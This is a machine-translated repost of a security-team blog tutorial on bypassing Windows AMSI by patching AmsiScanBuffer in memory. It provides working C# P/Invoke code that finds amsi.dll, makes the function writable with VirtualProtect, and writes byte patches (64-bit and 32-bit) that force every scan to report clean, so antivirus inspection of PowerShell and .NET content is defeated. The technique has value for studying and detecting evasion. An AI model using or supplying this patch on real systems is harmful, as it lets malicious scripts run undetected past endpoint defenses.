当前位置:网站首页>Memory patch amsi bypass

Memory patch amsi bypass

2022-06-23 20:43:00 Khan security team

What is? AMSI?

back Malware scanning interface It's a group. Windows API, Allow any application to integrate with anti-virus products ( Suppose the product acts as AMSI Provider ). With many third parties AV The solution is the same ,Windows Defender Act naturally as AMSI provider .

In short ,AMSI Act as an application and AV The bridge between engines . With PowerShell For example —— When the user tries to execute any code ,PowerShell It will be submitted to before execution AMSI. If AV The engine thinks its content is malicious ,AMSI This content will be reported and PowerShell The code will not run . For script based malware that runs in memory and never touches disk , This is a good solution .

Any application developer can use AMSI Scan user supplied input .

amsi.dll

To AMSI Applications that submit samples , It must amsi.dll Load into its address space and call from the DLL A series of exported AMSI API. We can use APIMonitor And so on To hook PowerShell And monitor what it calls API. According to the order , These are usually :

We can use some convenient P/Invoke stay C# Copy it in .

using System;
using System.Runtime.InteropServices;

namespace ConsoleApp
{
    class Program
    {
        static void Main(string[] args)
        {
        }

        [DllImport("amsi.dll")]
        static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

        [DllImport("amsi.dll")]
        static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

        [DllImport("amsi.dll")]
        static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);

        enum AMSI_RESULT
        {
            AMSI_RESULT_CLEAN = 0,
            AMSI_RESULT_NOT_DETECTED = 1,
            AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
            AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
            AMSI_RESULT_DETECTED = 32768
        }
    }
}

All we have to do is initialize AMSI, Open a new session and send a sample to it .

// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);

// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");

// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);

// Print result
Console.WriteLine(amsiResult);

This gives us the result AMSI_RESULT_DETECTED.

Memory patching

Process Hacker And other tools will display amsi.dll It is AMSI Load into the process after initialization . To overwrite a function in memory , for example AmsiScanBuffer, We need to get its location in memory .

We can start by using .NET System.Diagnostics Class search amsi.dll The base address , And then call GetProcAddress API To achieve this .

var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;

foreach (ProcessModule module in modules)
{
    if (module.ModuleName == "amsi.dll")
    {
        hAmsi = module.BaseAddress;
        break;
    }
}

var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");

As far as I'm concerned , AmsiScanBuffer be located 0x00007ffe26aa35e0. By viewing and amsi.dll Associated memory address , You can confirm that it is located in the main... Of the module RX In the area .

To override instructions in this area , We need to use VirtualProtect Make it writable .

var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);

// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);

// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);

then , You will see a lot of... In this memory area A, And allow applications to call AmsiScanBuffer Will cause the process to crash ( Because obviously A Not a valid instruction ).

We can put countless instructions here . The general idea is to change behavior to prevent AmsiScanBuffer Returns a positive result .

Use IDA Wait for tool analysis DLL Can provide some ideas .

AmsiScanBuffer One thing to do is to check the parameters provided to it . If it finds an invalid parameter , It branches to loc_1800036B5. ad locum , It will 0x80070057 Move to eax in , Bypass the branch that is actually scanned and returned .

80070057 It's a HRESULT Return code by E_INVALIDARG.

We can cover AmsiScanBuffer To replicate this behavior :

mov eax, 0x80070057
ret

defuse.ca There is a useful tool for converting assemblies to hexadecimal and byte arrays .

instead of var The garbage

var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

This will lead to AmsiScanBuffer The return code of is E_INVALIDARG, But the actual scanning result is 0 - Usually interpreted as AMSI_RESULT_CLEAN.

It seems that no application actually checks whether the return code is not S_OK, And as long as the scanning result itself is not equal to or greater than 32768 Will continue to load the content —— It must be PowerShell and .NET The case of .

The above applies to 64 position , but 32 The assembly required for the bit is slightly different due to the way data is returned on the stack .

mov eax, 0x80070057
ret 0x18
原网站

版权声明
本文为[Khan security team]所创,转载请带上原文链接,感谢
https://yzsam.com/2021/12/202112291651591013.html